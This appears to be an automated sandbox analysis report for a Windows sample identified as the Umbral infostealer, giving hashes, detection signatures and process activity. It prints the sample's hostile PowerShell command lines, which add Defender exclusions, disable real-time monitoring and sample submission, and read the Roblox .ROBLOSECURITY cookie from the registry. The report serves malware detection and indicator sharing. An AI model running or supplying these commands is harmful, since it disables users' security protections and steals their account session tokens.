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Analysis
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max time kernel
12s -
max time network
14s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
24/08/2024, 21:49
Behavioral task
behavioral1
Sample
CVW3NAX.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
CVW3NAX.exe
Resource
win10v2004-20240802-en
General
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Target
CVW3NAX.exe
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Size
428KB
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MD5
11710cd62e4fb19bb1932e06d0d64d07
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SHA1
807d0d38932792b545ff9fb6fe0d84ddd7094cd8
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SHA256
b1256cc222fc9da457e57ce11a874e59d5c731c2aa3f55cc02cf47a9786fc775
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SHA512
5a9745ac347c742ea065b9754646dbc718ad6b8e940727c6d7d6632202c1b56649c646ad549cb1406b7c57901aa9ed574ac97e8a47abf63befa3bbebc35f17e5
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SSDEEP
12288:noZetlRk83MlSFLPMS1Nmezus9x4FM+H5X:r5r3VLPMS1Nmezus9x4FX
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/2904-1-0x00000247230D0000-0x0000024723140000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 760 powershell.exe 1316 powershell.exe 1616 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts CVW3NAX.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2904 CVW3NAX.exe 760 powershell.exe 760 powershell.exe 1316 powershell.exe 1316 powershell.exe 1616 powershell.exe 1616 powershell.exe 664 powershell.exe 664 powershell.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
description pid Process Token: SeDebugPrivilege 2904 CVW3NAX.exe Token: SeIncreaseQuotaPrivilege 3716 wmic.exe Token: SeSecurityPrivilege 3716 wmic.exe Token: SeTakeOwnershipPrivilege 3716 wmic.exe Token: SeLoadDriverPrivilege 3716 wmic.exe Token: SeSystemProfilePrivilege 3716 wmic.exe Token: SeSystemtimePrivilege 3716 wmic.exe Token: SeProfSingleProcessPrivilege 3716 wmic.exe Token: SeIncBasePriorityPrivilege 3716 wmic.exe Token: SeCreatePagefilePrivilege 3716 wmic.exe Token: SeBackupPrivilege 3716 wmic.exe Token: SeRestorePrivilege 3716 wmic.exe Token: SeShutdownPrivilege 3716 wmic.exe Token: SeDebugPrivilege 3716 wmic.exe Token: SeSystemEnvironmentPrivilege 3716 wmic.exe Token: SeRemoteShutdownPrivilege 3716 wmic.exe Token: SeUndockPrivilege 3716 wmic.exe Token: SeManageVolumePrivilege 3716 wmic.exe Token: 33 3716 wmic.exe Token: 34 3716 wmic.exe Token: 35 3716 wmic.exe Token: 36 3716 wmic.exe Token: SeIncreaseQuotaPrivilege 3716 wmic.exe Token: SeSecurityPrivilege 3716 wmic.exe Token: SeTakeOwnershipPrivilege 3716 wmic.exe Token: SeLoadDriverPrivilege 3716 wmic.exe Token: SeSystemProfilePrivilege 3716 wmic.exe Token: SeSystemtimePrivilege 3716 wmic.exe Token: SeProfSingleProcessPrivilege 3716 wmic.exe Token: SeIncBasePriorityPrivilege 3716 wmic.exe Token: SeCreatePagefilePrivilege 3716 wmic.exe Token: SeBackupPrivilege 3716 wmic.exe Token: SeRestorePrivilege 3716 wmic.exe Token: SeShutdownPrivilege 3716 wmic.exe Token: SeDebugPrivilege 3716 wmic.exe Token: SeSystemEnvironmentPrivilege 3716 wmic.exe Token: SeRemoteShutdownPrivilege 3716 wmic.exe Token: SeUndockPrivilege 3716 wmic.exe Token: SeManageVolumePrivilege 3716 wmic.exe Token: 33 3716 wmic.exe Token: 34 3716 wmic.exe Token: 35 3716 wmic.exe Token: 36 3716 wmic.exe Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 1316 powershell.exe Token: SeDebugPrivilege 1616 powershell.exe Token: SeDebugPrivilege 664 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2904 wrote to memory of 3716 2904 CVW3NAX.exe 87 PID 2904 wrote to memory of 3716 2904 CVW3NAX.exe 87 PID 2904 wrote to memory of 760 2904 CVW3NAX.exe 91 PID 2904 wrote to memory of 760 2904 CVW3NAX.exe 91 PID 2904 wrote to memory of 1316 2904 CVW3NAX.exe 93 PID 2904 wrote to memory of 1316 2904 CVW3NAX.exe 93 PID 2904 wrote to memory of 1616 2904 CVW3NAX.exe 95 PID 2904 wrote to memory of 1616 2904 CVW3NAX.exe 95 PID 2904 wrote to memory of 664 2904 CVW3NAX.exe 97 PID 2904 wrote to memory of 664 2904 CVW3NAX.exe 97
Processes
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C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe"C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:664
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
948B
MD504e496605de2e5ab948392ad80e01d0b
SHA13c4ac546b1f692ff3f6f37575c5720107847cb55
SHA256b8f97a41df1e31dbaaaff19d491a8f6350acb1d130e3775f1dd0eb212a6687f8
SHA51279b501d33c79577903d587670d6e12377e6496d74faeaf4a2f37cbae726549db5d72df3d2a4ea3c599059e952f852a97c05cc17765fe2dfa442809ec2e6369cb
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82